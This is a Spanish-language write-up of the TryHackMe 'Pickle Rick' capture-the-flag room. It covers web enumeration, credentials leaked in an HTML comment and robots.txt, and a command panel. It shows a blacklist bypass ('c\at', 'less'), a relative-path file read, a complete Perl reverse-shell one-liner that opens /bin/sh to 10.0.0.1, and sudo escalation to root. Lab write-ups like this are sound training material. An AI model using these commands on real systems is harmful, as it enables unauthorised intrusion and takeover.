TryHackMe/Pickle Rick
- n3n3c0
- 23 feb 2022
- 3 Min. de lectura
Pickle Rick es una máquina de dificultad fácil en la cual practicaremos y afianzaremos conocimientos involucrados en navegación web, inyección de comandos y escalada de privilegios.
*Existen varias maneras de solucionar esta sala vulnerable, os enseñare el método por el cual conseguí completarla, pero siempre podréis investigar por vuestra cuenta y sacar vuestra conclusión.
*Todas las herramientas, protocolos e información considerada relevante tiene sus correspondientes enlaces, por si es necesario documentarse y profundizar.
Enlace a la sala: https://tryhackme.com/room/picklerick

¡Empecemos!
En la introducción sobre la sala nos comentan que necesitamos encontrar tres ingredientes para completarla y hacer que Rick vuelva a la normalidad.
Directamente otorga un enlace a una pagina web en la cual tenemos todo lo necesario para descubrir tales ingredientes.

El mensaje de Rick es claro, nos da permisos para entrar en su ordenador pero olvido sus credenciales. Esto nos da a intuir que seguramente lo que buscamos es algún tipo de acceso con ciertas credenciales.
Lanzaremos Gobuster para listar los directorios ocultos que tenga la web.

Vemos que el subdirectorio /portal.php nos redirige a /login.php.
Dentro del subdirectorio tenemos un acceso a lo que pensamos que será el ordenador de Rick. Como era de esperar nos piden un nombre de usuario y una contraseña.

Si vamos al enlace a la página web que nos da tryhackme e inspeccionamos el código de la misma tenemos un comentario en HTML el cual nos da en claro el nombre de usuario.

Una vez tengamos el nombre de usuario ya solo nos quedaría conseguir la contraseña.
Anteriormente cuando lanzamos Gobuster encontró algún que otro subdirectorio mas el cual echaremos un ojo.

Uno que conocemos y suele ser común de ver es el robots.txt así que indagaremos en el.

Al entrar en el nos aparece una 'frase' de lo mas curiosa, ¿ podría ser esto lo que estamos buscando ?... Probemos.

Estaba en lo cierto, se ve que el login ha funcionado y nos a redirigido a /portal.php el cual tiene un panel que permite ejecutar comandos.
Probaré con un ls.

Vemos que da resultado el comando ejecutado y como se puede ver en la primera línea tenemos un txt con lo que parece ser el primer ingrediente.
Si hago un cat para intentar leer el contenido del archivo nos va a decir que ese comando esta desactivo, lo cual hay una blacklist de ciertos comandos los cuales tendremos que tener en cuanta a la hora de navegar por la máquina.
Mensaje de error

Una manera de saltarse esta restricción seria ejecutar el comando cat de esta manera (c\at), otra forma podría ser sustituyendo el cat por un less que también deja leer el contenido de un archivo.

Vamos a por el siguiente ingrediente.
Para este necesitaremos movernos entre directorios, pero no tenemos permitido hacer un cd para cambiar de directorio, por lo cual habrá que ir listando el contenido de cada directorio hasta encontrar algo útil.
De esta manera encontré algo:
Comando ejecutado
less ../../../home/rick/'second ingredients'

Solo quedaría descubrir el tercer ingrediente.
Para este necesitaremos una reverse shell, en el equipo hay varios lenguajes de programación disponibles para ejecutarla, en mi caso utilice perl.
Averiguar lenguaje instalado.

Crearemos la reverse shell a partir de esta información, abrimos un puerto de escucha en nuestra máquina y haremos que la máquina víctima se conecte a nuestro puerto otorgándonos su terminal.
Reverse shell utilizada
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Echemos un ojo a que podemos ejecutar con este usuario.

Tenemos permisos totales con el usuario www-data, así que simplemente seria convertirse en root y ver donde se esconde el tercer ingrediente.

Y aquí lo tenemos. Bastante sencillo.
¡Enhorabuena! Una mas o una menos. ( ͡° ͜ʖ ͡°)
Comments